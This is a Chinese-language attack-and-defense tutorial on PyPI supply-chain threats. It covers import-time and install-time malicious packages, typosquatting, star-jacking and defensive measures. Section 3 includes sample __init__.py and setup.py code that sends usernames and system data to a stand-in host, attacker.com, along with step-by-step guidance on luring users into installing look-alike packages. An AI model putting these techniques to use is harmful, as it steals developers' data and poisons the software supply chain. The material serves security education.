PyPI供应链安全攻防指南：星标劫持与域名仿冒技术详解

1. 软件供应链安全概述

1.1 定义与重要性

软件供应链安全指在软件开发、交付、维护全过程中防止恶意代码、漏洞或其他安全风险被引入最终产品的安全措施。其重要性体现在：

• 现代软件开发高度依赖第三方组件（如fastjson、Log4j等）
• 广泛使用的组件一旦出现漏洞，影响范围极大
• 攻击面从开发环节扩展到整个供应链

1.2 典型供应链攻击案例

1. Fastjson反序列化漏洞：

   • 攻击方式：构造恶意JSON数据触发RCE
   • 影响：阿里巴巴开源的高性能JSON库

2. Nacos未授权漏洞：

   • 攻击方式：通过默认口令/未授权访问控制台
   • 影响：阿里动态服务发现与配置管理平台

3. Log4j2远程代码执行：

   • 攻击方式：恶意JNDI查询触发代码执行
   • 影响：Apache流行的Java日志记录库

2. PyPI供应链安全基础

2.1 PyPI简介

PyPI(Python Package Index)是Python官方软件包仓库，特点包括：

• 类似Java的Maven Central或JS的npm
• 简化包共享和安装流程
• 开放特性带来供应链安全风险

2.2 关键文件解析

1. setup.py：

   • 包的核心配置文件
   • pip install时自动执行其中代码
   • 主流劫持点：可通过setup.py执行恶意代码

2. init.py：

   • 包的初始化文件
   • 当依赖被import时自动执行
   • 另一个常见劫持点

3. PyPI恶意包攻击技术

3.1 类型1：引入依赖时泄露信息

攻击原理：

• 在__init__.py中植入恶意代码
• 当用户import包时自动执行

实现步骤：

1. 创建项目结构：

   attack_package/
   ├── attack_package/
   │   ├── __init__.py
   ├── setup.py
   

2. init.py内容：

   import os, requests
   data = {
       "user": os.getlogin(),
       "cwd": os.path.abspath(".")
   }
   requests.post("http://attacker.com", json=data)
   

3. setup.py配置：

   from setuptools import setup
   setup(
       name="attack_package",
       version="0.1.0",
       packages=["attack_package"],
       install_requires=["requests"]
   )
   

攻击效果：

• 受害者import时自动发送系统信息到攻击者服务器

3.2 类型2：安装依赖时泄露信息

攻击原理：

• 恶意代码位于setup.py中
• 安装过程即触发信息泄露

实现步骤：

1. setup.py示例：

   import os, platform, requests
   
   def exfiltrate_data():
       data = {
           "system": platform.system(),
           "user": os.getlogin()
       }
       try:
           requests.post("http://attacker.com", json=data)
       except: pass
   
   exfiltrate_data()
   
   setup(
       name="install_attack_package",
       version="0.1.0",
       packages=["install_attack_package"]
   )
   

攻击特点：

• 无需import，安装即触发
• 尝试多种通信方式确保成功率

3.3 类型3：域名仿冒(Typosquatting)

攻击原理：

• 利用用户拼写错误创建相似包名
• 如requests → reqeusts, requestss

实现方法：

1. 常见仿冒技术：

   • 伪造包名（reqeusts）
   • 相似字符替换（аррle.com使用西里尔字母）
   • URL中的@符号伪装
   • 新型顶级域名仿冒
   • 域名抢注（pyp1.com）

2. 实战示例：

   • 创建requestss包仿冒requests
   • init.py植入恶意代码
   • 诱导拼写错误的用户安装

3.4 类型4：星标劫持(Star Jacking)

攻击原理：

• 伪造GitHub项目星标数制造虚假流行度
• 克隆热门项目植入恶意代码

实现方法：

1. 常见技术：

   • 自动化脚本批量添加星标
   • 克隆知名项目并植入后门
   • 使用相似名称混淆视听

2. 实战示例：

   • 创建requests-utils仓库
   • 使用小号刷星
   • 发布带恶意代码的release
   • 利用虚假流行度诱导安装

4. 防御措施

4.1 开发者防护建议

1. 依赖验证：

   • 仔细检查包名拼写
   • 验证包来源和作者身份
   • 优先选择官方认证包

2. 环境隔离：

   • 使用虚拟环境进行开发
   • 限制生产环境网络出口

3. 安全工具：

   • 使用依赖扫描工具（如Safety）
   • 实施软件物料清单(SBOM)

4.2 企业防护策略

1. 供应链管控：

   • 建立内部镜像源
   • 实施依赖白名单机制
   • 定期审计第三方组件

2. 监控响应：

   • 监控异常网络请求
   • 建立应急响应流程
   • 保持依赖项及时更新

5. 总结

PyPI供应链安全威胁呈现多样化趋势，从传统的漏洞利用发展到：

• 安装阶段劫持(setup.py)
• 运行阶段攻击(init.py)
• 社会工程学技巧(域名仿冒)
• 信誉系统滥用(星标劫持)

防御需要从技术和管理双维度构建多层防护体系，关键点在于提高开发团队安全意识，实施严格的依赖管理策略，并建立持续监控机制。